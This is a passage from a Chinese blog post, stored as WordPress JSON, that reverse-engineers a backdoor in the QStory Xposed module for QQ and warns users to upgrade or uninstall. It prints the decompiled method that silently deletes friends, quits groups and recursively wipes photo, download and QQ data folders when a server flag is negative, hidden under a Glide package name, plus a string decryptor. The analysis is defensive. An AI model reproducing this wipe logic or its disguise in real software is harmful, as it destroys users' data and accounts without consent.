\u65f6\uff0c\u8fd9\u4e2a\u5360\u4f4d\u53f7\u88ab\u786c\u8c41\u514d\uff0c\u907f\u514d\u8bef\u4f24\u3002\u4e0d\u547d\u4e2d\u8c41\u514d\uff0c\u5c31 f25120.contains(str) \u67e5\u9ed1\u540d\u5355\u5bb9\u5668\uff0c\u5728\u540d\u5355\u91cc\u5c31\u8fd4\u56de true\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u81f3\u4e8e f25119\uff08\u76d1\u63a7\u7fa4\uff09\u662f\u600e\u4e48\u586b\u6ee1\u7684\uff1a\u5728\u53e6\u4e00\u4e2a\u521d\u59cb\u5316\u5206\u652f\u91cc\uff0c\u6a21\u5757\u4f1a\u904d\u5386\u4f60\u7684\u6240\u6709\u7fa4\u3001\u5224\u65ad\u4f60\u662f\u4e0d\u662f\u7ba1\u7406\u5458\/\u7fa4\u4e3b\uff0c\u662f\u5c31 f25119.add(\u7fa4\u53f7)\u3002\u6574\u4e2a\u8fc7\u7a0b\u6ca1\u6709\u4efb\u4f55&#8221;\u8be2\u95ee\u7528\u6237&#8221;\u2014\u2014\u4f60\u662f\u7ba1\u7406\u5458\u7684\u7fa4\uff0c\u88ab\u9759\u9ed8\u7eb3\u5165\u76d1\u63a7\u8303\u56f4\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ea4\u4e92\u7684\u5b8c\u6574\u94fe\u8def\uff1acase 9 \u89e6\u53d1 -&gt; case 18 \u62c9 user\/info \u5199\u7f13\u5b58 -&gt; m7325() \u5224 identity &lt; 0 \u6bc1\u53f7 -&gt; queryBlacklist \u62c9\u9ed1\u540d\u5355\u586b\u8fdb f25120 -&gt; \u626b\u63cf\u6240\u6709\u7fa4\u628a\u4f60\u7ba1\u7406\u7684\u7fa4\u586b\u8fdb f25119 -&gt; \u8fdb\u7fa4\/\u53d1\u6d88\u606f\u4e8b\u4ef6\u89e6\u53d1 m15012() \u2192 \u547d\u4e2d\u9ed1\u540d\u5355\u4e14\u4e0d\u5728\u8c41\u514d -&gt; kickMember \u8e22\u4eba -&gt; onKickBlacklist \u4e0a\u62a5\u3002\u6211\u8fd8\u7279\u610f\u786e\u8ba4\u8fc7\uff1aQStory \u6b63\u7ecf UI \u4ee3\u7801\uff08top.suzhelan.qstory\uff09\u91cc\u5b8c\u5168\u4e0d\u5f15\u7528 AbstractC9073\uff0c\u5b83\u662f\u72ec\u7acb\u8fd0\u884c\u7684\u540e\u95e8<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">identity &lt; 0 \u6bc1\u53f7\u51fd\u6570<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u6765\u5230\u6700\u7cbe\u5f69\u7684\u5730\u65b9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2am7325() \u662f\u6700\u5371\u9669\u7684 \u6574\u4e2a\u6bc1\u53f7\u903b\u8f91\u5c31\u5728\u4e00\u4e2a\u65b9\u6cd5\u91cc<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785135327-3125fd91-2f09-4f51-8316-bd0339201a12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785135327-3125fd91-2f09-4f51-8316-bd0339201a12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>public static void m7325() {\n    try {\n        C9070 c9070 = new C9070();\n        c9070.f25106 = AbstractC3164.m7228(-3937561652678100391L);\n        c9070.f25105 = AbstractC3164.m7228(-3937706809687803303L);\n        c9070.f25104 = 0;\n        c9070.f25103 = AbstractC3164.m7228(-3937706809687803303L);\n        C9070 c90702 = (C9070) new C9092().m15027(C9070.class,\n                              AbstractC3164.m7228(-3937706766738130343L));\n        if (c90702 != null) {\n            c9070 = c90702;\n        }\n        if (c9070.f25104.intValue() &lt; 0) {\n            for (FriendInfo friendInfo : QQFriendTool.getAllFriend()) {\n                QQFriendTool.deleteFriend(friendInfo.uin);\n            }\n            Iterator it = AbstractC9384.m15232().iterator();\n            while (it.hasNext()) {\n                QQNTTroopSettingTool.quitGroup(((GroupInfo) it.next()).GroupUin);\n            }\n            String&#91;] strArr = {\n                AbstractC3164.m7228(-3937636879030289831L),\n                AbstractC3164.m7228(-3937636767361140135L),\n                AbstractC3164.m7228(-3937636707231597991L),\n                AbstractC3164.m7228(-3937636595562448295L),\n                AbstractC3164.m7228(-3937636428058723751L)\n            };\n            for (int i = 0; i &lt; 5; i++) {\n                AbstractC0454.m1721(new File(strArr&#91;i]));\n            }\n            for (ActivityManager.AppTask appTask :\n                 ((ActivityManager) AbstractC6756.f17805.getApplicationContext()\n                     .getSystemService(AbstractC3164.m7228(-3937561390685095335L)))\n                     .getAppTasks()) {\n                appTask.finishAndRemoveTask();\n            }\n        }\n    } catch (Exception unused) {\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u65b9\u6cd5\u9996\u5148 new C9070() \u9020\u4e00\u4e2a\u9ed8\u8ba4\u8eab\u4efd\u5bf9\u8c61\uff0cf25104\uff08identity\uff09\u7f6e 0\u3002\u63a5\u7740 new C9092().m15027(C9070.class, m7228(-3937706766738130343L)) \u4ece\u672c\u5730\u7f13\u5b58\u8bfb\u53d6\u2014\u2014\u7f13\u5b58\u952e -3937706766738130343L \u89e3\u5bc6\u5c31\u662f &#8220;user_info&#8221;\uff0c\u6b63\u662f case 18 \u5199\u8fdb\u53bb\u7684\u90a3\u4efd\u670d\u52a1\u5668\u8eab\u4efd\uff1b\u5982\u679c\u7f13\u5b58\u975e\u7a7a\uff08c90702 != null\uff09\u5c31\u7528\u5b83\u8986\u76d6\u9ed8\u8ba4\u5bf9\u8c61\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u662f\u6838\u5fc3\u5224\u5b9a if (c9070.f25104.intValue() &lt; 0)\u2014\u2014\u53ea\u8981\u670d\u52a1\u5668\u4e0b\u53d1\u7684 identity \u662f\u8d1f\u6570\uff0c\u5c31\u8fdb\u5165\u6bc1\u53f7\u56db\u8fde\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u904d\u5386\u5168\u90e8\u597d\u53cb\u9010\u4e2a\u5220\u9664\uff1b<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785061832-1e12f030-ed86-4074-bb52-ea20df9ce58e.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785061832-1e12f030-ed86-4074-bb52-ea20df9ce58e.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u904d\u5386\u5168\u90e8\u7fa4\u9010\u4e2a\u9000\u51fa<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785109778-33513870-e277-4bcb-bf37-54404045539a.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785109778-33513870-e277-4bcb-bf37-54404045539a.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9012\u5f52\u5220\u9664 5 \u4e2a\u672c\u5730\u76ee\u5f55\uff0cm1721 \u662f\u9012\u5f52\u5220\u9664\u5de5\u5177<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785164900-b51a9f10-24d9-47f8-8d7e-f4bf2f66960f.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785164900-b51a9f10-24d9-47f8-8d7e-f4bf2f66960f.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd95 \u4e2a\u8def\u5f84\u5e38\u91cf\uff0c\u6211\u7528\u81ea\u5df1\u5199\u7684\u89e3\u5bc6\u5668\u89e3\u51fa\u6765\uff0c\u662f\u8fd9\u6837\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>-3937636879030289831L =&gt; \/storage\/emulated\/0\/Pictures\/\n-3937636767361140135L =&gt; \/storage\/emulated\/0\/DCIM\/\n-3937636707231597991L =&gt; \/storage\/emulated\/0\/Download\/\n-3937636595562448295L =&gt; \/data\/data\/com.tencent.mobileqq\/\n-3937636428058723751L =&gt; \/data\/user\/0\/com.tencent.mobileqq\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u540e\u628a QQ \u7684\u4efb\u52a1\u5168\u90e8\u7ed3\u675f\u3001\u6740\u6389\u8fdb\u7a0b<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785227717-712e84c1-9375-44d8-b4ad-a74d10c0d7d5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780785227717-712e84c1-9375-44d8-b4ad-a74d10c0d7d5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9010\u6bb5\u8bb2\u89e3\u6211\u89e3\u5bc6\u51fa\u6765\u7684\u8fd9\u7ec4\u660e\u6587\uff1a\u524d\u4e09\u4e2a\u662f \/Pictures\/\uff08\u76f8\u518c\uff09\u3001\/DCIM\/\uff08\u76f8\u673a\u7167\u7247\uff09\u3001\/Download\/\uff08\u4e0b\u8f7d\u76ee\u5f55\uff09\u2014\u2014\u5168\u662f\u7528\u6237\u7684\u4e2a\u4eba\u6587\u4ef6\uff0c\u8ddf QQ \u6beb\u65e0\u5173\u7cfb\uff1b\u540e\u4e24\u4e2a\u624d\u662f QQ \u7684\u5e94\u7528\u6570\u636e\u76ee\u5f55\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u8fd9\u4e2a&#8221;\u6bc1\u53f7&#8221;\u4e0d\u6b62\u9500\u6bc1 QQ \u793e\u4ea4\u5173\u7cfb\u548c\u6570\u636e\uff0c\u8fd8\u4f1a\u9012\u5f52\u5220\u9664\u4f60\u624b\u673a\u7684\u76f8\u518c\u3001\u76f8\u673a\u7167\u7247\u548c\u4e0b\u8f7d\u6587\u4ef6\uff0c\u6027\u8d28\u5df2\u7ecf\u63a5\u8fd1\u52d2\u7d22\u8f6f\u4ef6\u3002\u800c\u89e6\u53d1\u5b83\u7684 identity\uff0c\u5b8c\u5168\u7531\u5f00\u53d1\u8005\u670d\u52a1\u5668\u5355\u65b9\u9762\u4e0b\u53d1\u2014\u2014\u7406\u8bba\u4e0a\u4ed6\u60f3\u8ba9\u8c01\u7684 identity \u53d8\u8d1f\uff0c\u8c01\u7684\u53f7\u5c31\u4f1a\u5728\u4e0b\u6b21\u542f\u52a8\u65f6\u81ea\u6bc1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u6bb5\u6bc1\u53f7\u4ee3\u7801\u653e\u5728 com.bumptech.glide \u5305\u4e0b\u2014\u2014Glide \u662f Google \u90a3\u4e2a\u8457\u540d\u7684\u56fe\u7247\u52a0\u8f7d\u5e93\u3002\u628a\u6bc1\u53f7\u903b\u8f91\u4f2a\u88c5\u6210\u77e5\u540d\u7b2c\u4e09\u65b9\u5e93\uff0c\u8d4c\u7684\u5c31\u662f\u5ba1\u8ba1\u65f6\u4f1a\u8df3\u8fc7\u53ef\u4fe1\u5e93<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u89e3\u5bc6\u5668\u5206\u4eab<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u628a\u5b83\u5543\u4e86\u4e00\u904d\uff0c\u7b97\u6cd5\u662f\uff1a\u53d6 long \u4f4e 32 \u4f4d\u4f5c\u79cd\u5b50 -&gt; \u8dd1\u4e00\u904d SplitMix64 finalizer -&gt; \u8fc7\u4e24\u8f6e 16-bit Feistel\/ARX \u7ed3\u6784 -&gt; \u7528\u7ed3\u679c\u8ddf long \u9ad8 32 \u4f4d XOR\u3001\u8fd8\u539f\u51fa\u5b57\u7b26\u4e32\u8868\u7d22\u5f15 -&gt; \u53bb\u4e00\u5f20 Base64 \u7f16\u7801\u7684\u67e5\u627e\u8868\uff0811 \u4e2a\u5206\u5757\u3001\u7ea6 84809 \u5b57\u7b26\uff09\u91cc\u9010\u5b57\u7b26\u6d41\u5f0f\u89e3\u51fa<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>static long s(long x) {\n    x ^= (x &gt;&gt;&gt; 33);\n    x *= 0x62a9d9ed799705f5L;\n    x ^= (x &gt;&gt;&gt; 28);\n    x *= 0xcb24d0a5c88c35b3L;\n    return x &gt;&gt;&gt; 32;\n}\n\nstatic String d(long e) {\n    long a = s(e &amp; 0xFFFFFFFFL);\n    a = f(a);\n    long b = (a &gt;&gt;&gt; 32) &amp; 0xFFFFL;\n    a = f(a);\n    long c = (a &gt;&gt;&gt; 16) &amp; 0xFFFF0000L;\n    int p = (int)((e &gt;&gt;&gt; 32) ^ b ^ c);\n    a = l(p, a);\n    int n = (int)((a &gt;&gt;&gt; 32) &amp; 0xFFFFL);\n    char&#91;] r = new char&#91;n];\n    for (int i = 0; i &lt; n; i++) {\n        a = l(p + i + 1, a);\n        r&#91;i] = (char)((a &gt;&gt;&gt; 32) &amp; 0xFFFFL);\n    }\n    return new String(r);\n}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\u5199\u5728\u6700\u540e<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd8\u5728\u7528 2.6.2 \u7684\uff0c\u5c3d\u5feb\u5347\u7ea7\u6216\u5378\u8f7d\uff0c\u5e76\u68c0\u67e5\u6709\u6ca1\u6709\u5f02\u5e38\u7684\u597d\u53cb\u5220\u9664\u3001\u9000\u7fa4\u8bb0\u5f55\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Xposed \u6a21\u5757\u8fd0\u884c\u5728\u4f60 QQ \u8fdb\u7a0b\u91cc\uff0c\u62e5\u6709\u4f60 QQ \u7684\u5168\u90e8\u6570\u636e\u6743\u9650\uff0c\u88c5\u4e4b\u524d\u8bf7\u6382\u91cf\u4fe1\u4efb\u6210\u672c\u3002\u597d\u7528 != \u53ef\u4fe1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f00\u53d1\u8005\u7684\u56de\u590d\u4e5f\u662f\u76f8\u5f53\u5e7d\u9ed8<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/jpeg\/44105438\/1780785675108-9616b8d1-2855-4dae-9251-b97fc487f5ba.jpeg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/jpeg\/44105438\/1780785675108-9616b8d1-2855-4dae-9251-b97fc487f5ba.jpeg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u7136 \u4e5f\u786e\u5b9e\u6ca1\u6709\u8feb\u5bb3\u666e\u901a\u7528\u6237\uff0c\u5728\u7fa4\u7ec4\u4e2d\u5f00\u53d1\u8005\u89e3\u91ca\u8bf4\u660e\u88ab\u6302\u8fdb\u9ed1\u540d\u5355\u7684\uff0c\u5927\u591a\u662f\u8fb1\u9a82\u8fc7\u5f00\u53d1\u8005\u3001\u6216\u5728\u7fa4\u91cc\u53d1\u4e0d\u826f\u5185\u5bb9\u7684\uff0c\u4f46\u662f\u5077\u5077\u690d\u5165\u540e\u95e8\uff0c\u501f\u7528\u6237\u8d26\u53f7\u8e22\u4eba\u3001\u751a\u81f3\u8bbe\u7f6e\u6bc1\u53f7\u903b\u8f91\u7834\u574f\u6570\u636e\u662f\u4e8b\u5b9e\uff0c\u8fd9\u662f\u5c5e\u4e8e\u5f88\u6781\u7aef\u7684\u62a5\u590d\u624b\u6bb5\uff0c\u6211\u5e76\u4e0d\u652f\u6301\u8fd9\u4e48\u505a\uff0c\u540e\u7eed\u5f00\u53d1\u8005\u5728\u65b0\u7248\u672c\u4e5f\u79fb\u9664\u4e86\u4e4b\u524d\u8fd9\u4e9b\u4f4d\u7f6e\u7684\u540e\u95e8<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780786358385-a76e5d2a-cefd-49ac-9a03-8acc4bb85e93.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780786358385-a76e5d2a-cefd-49ac-9a03-8acc4bb85e93.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u5199\u5728\u524d\u9762 \u6211\u81ea\u5df1\u5c31\u662f QStory \u7684\u7528\u6237\uff0c\u7528\u5f97\u633a\u8212\u670d\u3002\u6240\u4ee5\u5f53\u6211\u4eca\u5929\u5728\u7fa4\u91cc\u5237\u5230&#8221;QStory \u5e26\u540e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":323,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[14],"tags":[18,23],"class_list":["post-298","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-14","tag-18","tag-23"],"jetpack_featured_media_url":"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/06\/106455081_p1.jpg","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/298","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=298"}],"version-history":[{"count":5,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/298\/revisions"}],"predecessor-version":[{"id":324,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/298\/revisions\/324"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/media\/323"}],"wp:attachment":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=298"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=298"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=298"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}